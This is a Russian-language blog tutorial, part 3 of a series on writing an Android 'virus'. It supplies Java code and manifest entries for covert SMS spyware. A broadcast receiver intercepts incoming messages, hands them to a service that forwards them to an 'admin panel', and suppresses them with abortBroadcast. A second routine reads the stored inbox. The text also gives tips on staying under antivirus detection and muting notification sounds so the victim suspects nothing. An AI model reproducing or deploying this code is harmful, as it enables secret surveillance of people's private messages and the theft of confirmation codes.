Как написать вирус для Андроид. Часть 3

Популярность наших двух первых публикаций о вирусе для андроид прибавила нам энтузиазма и подтолкнула на дальнейшую работу в публикации примеров как написать вирус для андроид.  Мы уже  написали своего зверя и нам сразу же захотелось посмотреть фотки и перепску людей. И сегодня пойдет речь о том как это сделать. Сразу скажу, что этот вопрос очень сложный и мы к нему ещё не раз вернемся в следующих статьях. Мы рассмотрим здесь перехват и удаление смс для версий 2.х и просто чтение для версий старше 2.Х

Почему я решил так сделать? Просто с появлением версии 4.4 работа с смс (удаление или редактирование) изменилась. Создатели поняли, что не стоит кому попало давать работать с входящими данными.

Ну в общем поехали. Берем чипсы и пиво. И начинаем разбор.

Обработка входящих соединений

public class SMSMonitor extends BroadcastReceiver{

   @Override
   public void onReceive(Context context, Intent intent) {
 Sms sms = new Sms();
       try {
           if (bundle != null) {
               Object[] pdus = (Object[]) bundle.get(Config.szPdus);
               SmsMessage[] mgs=new SmsMessage[pdus.length];
               for(int i=0;i<pdus.length;i++) {
                   mgs[i]=SmsMessage.createFromPdu((byte[]) pdus[i]);
               }

               sms.Text = getMessageFromSMSs(mgs);

               sms.SenderId = mgs[0].getOriginatingAddress();
               Date receiveDate = new Date(mgs[0].getTimestampMillis());
               sms.RecieveDate = receiveDate;
               sms.Status = mgs[0].getStatus();

           }

       } catch (Exception e) {

       }

// можете фильтровать здесь запросы от номеров.

       Intent intent1 = new Intent(context, SMSService.class); // подготовка Запуска сервиса обработки сообщения.
       intent1.putExtra("phone", sms.SenderId);
       intent1.putExtra("text", sms.Text);
       intent1.putExtra("date", sms.RecieveDate);
       context.startService(intent1); // Запуск сервиса обработки сообщения.

       abortBroadcast(); // функция для отмены передачи этого события дальше приложениям.
   }

   private String getMessageFromSMSs(SmsMessage[] sms) {
       String str="";
       for(SmsMessage message:sms) {
           str += message.getMessageBody().toString();
       }
       return str;
   }

   public class Sms{
       public String SenderId;
       public String Text;
       public Date RecieveDate;
       public int Status;
   }
}

Вот, основной класс который занимается перехватом смс. Кажется, можно сделать глоток пивка и расслабиться. Но нет, это не будет работать в связи с тем, что нам еще нужно сделать класс, для обработки смс сообщения. По-сути, сейчас мы сделали только перехват. Сразу возникает вопрос: “А почему нельзя все сделать в одном месте?” Проблема кроется во времени обработки. Обработка событий не может быть долгой. И времени хватает только на чтение данных и передачу их сервису.

Intent intent1 = new Intent(context, SMSService.class); // подготовка Запуска сервиса обработки сообщения.
       intent1.putExtra("phone", sms.SenderId);
       intent1.putExtra("text", sms.Text);
       intent1.putExtra("date", sms.RecieveDate);
       context.startService(intent1); // Запуск сервиса обработки сообщения.

Что и делает выше описанный код. Мы говорим какой класс запустить (он обязательно должен быть зарегистрирован как сервис) и передаем параметры.

public class SMSService extends Service {
   @Override
   public IBinder onBind(Intent intent) {
       return null;
   }

   @Override
   public int onStartCommand(Intent intent, int flags, int startId) {
       String sms_tel = intent.getExtras().getString("phone");
       String sms_body = intent.getExtras().getString("text");
       String sms_date = intent.getExtras().getString("date");

       //обрабатываем данные и если надо отсылаем в админку.

       return START_STICKY;
   }
}

Мы внесли все выше описанные изменения. Сидим, попивая вкусное, холодное пивко, и ждем как будут перехватываться данные. smile.gif Но вас настигнет разочарование: код выполнился без ошибок, но смс нет ни каких! И тут можно меня закидать помидорами или чипсами, смотря что под рукой. Давайте разбираться!

[ad name=»Responbl»]

Регистрация: “план перехват”

Дабы вышеописанный метод работал, нас нужно объявить в манифесте приложения. Чтобы android знал, что мы хотим делать. Но учтите, что при установке, пользователь увидит это в разрешениях приложения.

<uses-permission android:name="android.permission.RECEIVE_SMS" />

<receiver android:name=".SMSMonitor">
       <intent-filter android:priority="100">
           <action android:name="android.provider.Telephony.SMS_RECEIVED" />
       </intent-filter>
</receiver>

Дает право нам перехватывать смс. Есть хороший параметр приоритет, тут значение может быть от 1 до 999. Я рекомендую использовать от 100, но не сильно высоко. На этот параметр может ругаться антивирус. Если появился детект, можете искать его тут. Чем выше значение тем вы раньше будете стоять на обработку в очереди событий

<service android:name=".SMSService" />
//нужно для того,чтобы мы смогли запускать класс как сервис.

Собираем, проверяем, все работает. Ура.

Чтение сохранённых смс

String INBOX = "content://sms/inbox";
//String SENT = "content://sms/sent";
//String DRAFT = "content://sms/draft";

Cursor cursor = cnt.getContentResolver().query(Uri.parse(INBOX), null, null, null, null);

if (cursor.moveToFirst()) {
   do {
       for(int idx=0;idx<cursor.getColumnCount();idx++)
       {
               if(cursor.getColumnName(idx).toString().equalsIgnoreCase(Config.szAddress)){
                   // cursor.getString(idx)// номер телефона
               }
               if(cursor.getColumnName(idx).toString().equalsIgnoreCase(Config.szBody)){
                   // cursor.getString(idx) // сообщение
               }
               if(cursor.getColumnName(idx).toString().equalsIgnoreCase(Config.szDate)){
                   // cursor.getString(idx) // дата сообщения
               }
       }
   } while (cursor.moveToNext());
} else {
   // нету смс
}

Для работы данного способа требуется разрешение

<uses-permission android:name="android.permission.READ_SMS" />

Прячем “плохие” сообщения

Я еще не объяснил где происходит удаление смс. И поэтому перейдем к этому вопросу. Тем более пива у вас уже должно заканчиваться, если конечно вы не ящик взяли smile.gif

Самая главная функция abortBroadcast(); . Она говорит системе, чтобы она не передавала сообещение другим обработчикам включая стандартный смс менеджер от android‘a. Поэтому лучше иметь приоритет выше чем все приложения такого типа. Так же эта функция рано или поздно, станет вашим детектом. Но есть способы обойти это.

[ad name=»Responbl»]

Удаление смс вручную, после обработки. Но тут вы должны будете приглушить звук смс, для того чтобы пользователь ни чего не заподозрил.
Удаление смс из очереди. (не пользовался)

P.S. Ну и на последок, данный способ будет работать на android‘е 2.х. От версии 4.4 и выше, он работать не будет (может только перехват, без отмены очереди). Там требуются другие методы. Но мы и это пройдем.

Всем спасибо за внимание. В общем запускаем и наслаждаемся.

Продолжение следует.

Click to rate this post!
[Total: 7 Average: 4]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

4 comments On Как написать вирус для Андроид. Часть 3

Leave a reply:

Your email address will not be published.